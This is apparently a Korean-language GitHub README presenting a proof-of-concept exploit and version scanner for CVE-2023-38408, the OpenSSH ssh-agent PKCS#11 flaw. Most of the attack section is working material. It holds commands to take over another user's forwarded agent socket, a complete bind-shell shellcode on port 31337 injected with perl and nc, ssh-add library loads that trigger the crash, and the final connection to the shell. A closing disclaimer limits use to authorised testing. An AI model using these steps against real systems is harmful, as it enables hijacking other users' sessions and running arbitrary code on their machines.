
CVE-2023-38408 SSH 취약점 스캐너 및 PoC
OpenSSH(9.3p2 이전 버전)에서 취약점이 발견되었습니다. OpenSSH의 ssh-agent에 있는 PKCS#11 기능은 충분히 신뢰할 수 없는 검색 경로를 사용하므로, 에이전트가 공격자가 제어하는 시스템으로 전달되면 원격 코드 실행으로 이어질 수 있습니다(/usr/lib의 코드는 ssh-agent에 로드하기에 반드시 안전한 것은 아닙니다). 이 결함으로 인해 서버에서 전달된 에이전트 소켓을 제어하고 클라이언트 호스트의 파일 시스템에 쓸 수 있는 공격자는 ssh-agent를 실행 중인 사용자의 권한으로 임의 코드를 실행할 수 있습니다.
아래 예제에서는 탐색부터 alice 사용자 손상까지의 단계를 간략히 확인할 수 있습니다.
앞서 언급했듯이 이 POC에서는 SSH를 통해 서버에 연결된 2명의 사용자를 사용합니다. 아래 단계를 따르려면 2명의 사용자가 이미 서버(SSH)에 접근 권한이 있다고 가정합니다.
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
마지막으로 셸코드가 에이전트의 메모리에 성공적으로 배치되면 Ctrl-C를 눌러 netcat 전송을 중지합니다.
[!NOTE] SIGSEGV 트리거 💬
SIGSEGV는 유효하지 않은 메모리 참조(세그멘테이션 오류)가 >발생할 때 방출되는 컴퓨터 프로세스에 알려진 신호입니다. SIGSEGV 신호를 수신하면 커널은 유효하지 않은 메모리 액세스가 발생했음을 인식하고 프로그램을 갑자기 종료하는 대신 사용자 정의 시그널 핸들러를 호출합니다. 이를 통해 공격자는 프로그램의 실행을 조작하고 NOP sled 내에 위치한 주입된 악성 코드로 유도할 기회를 잡습니다.
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]
nc localhost 31337
이 취약점은 주로 OpenSSH의 SSH-agent가 사용 중이고 에이전트 전달 기능이 활성화된 시스템에 영향을 미칩니다. OpenSSH에 의존하는 조직과 개인은 잠재적 노출 여부를 확인하기 위해 구성을 신속히 평가해야 합니다. 시스템이 언급된 조건에 해당한다면 CVE-2023-38408과 관련된 위험을 완화하기 위해 즉시 조치를 취하는 것이 중요합니다.
git clone https://github.com/TX-One/CVE-2023-38408.git
cd CVE-2023-38408
python CVE-2023-38408_scanner.py -t <target> -p <port>
Client Server
| --- SSH-2.0-Client_Test ----> |
| <---- SSH Server Banner ----- |
TXOne SSH Vulnerability Scanner : CVE-2023-38408
Developed by TXOne
[+] Connecting to 192.168.1.100:22...
[+] Received banner: SSH-2.0-OpenSSH_9.2
[+] OpenSSH Version Detected: 9.2
[!] Vulnerable OpenSSH version detected: 9.2
이 도구는 공인된 보안 테스트 및 교육 목적 전용으로 제작되었습니다. 네트워크 리소스를 스캔하기 전에 항상 적절한 승인을 받으십시오.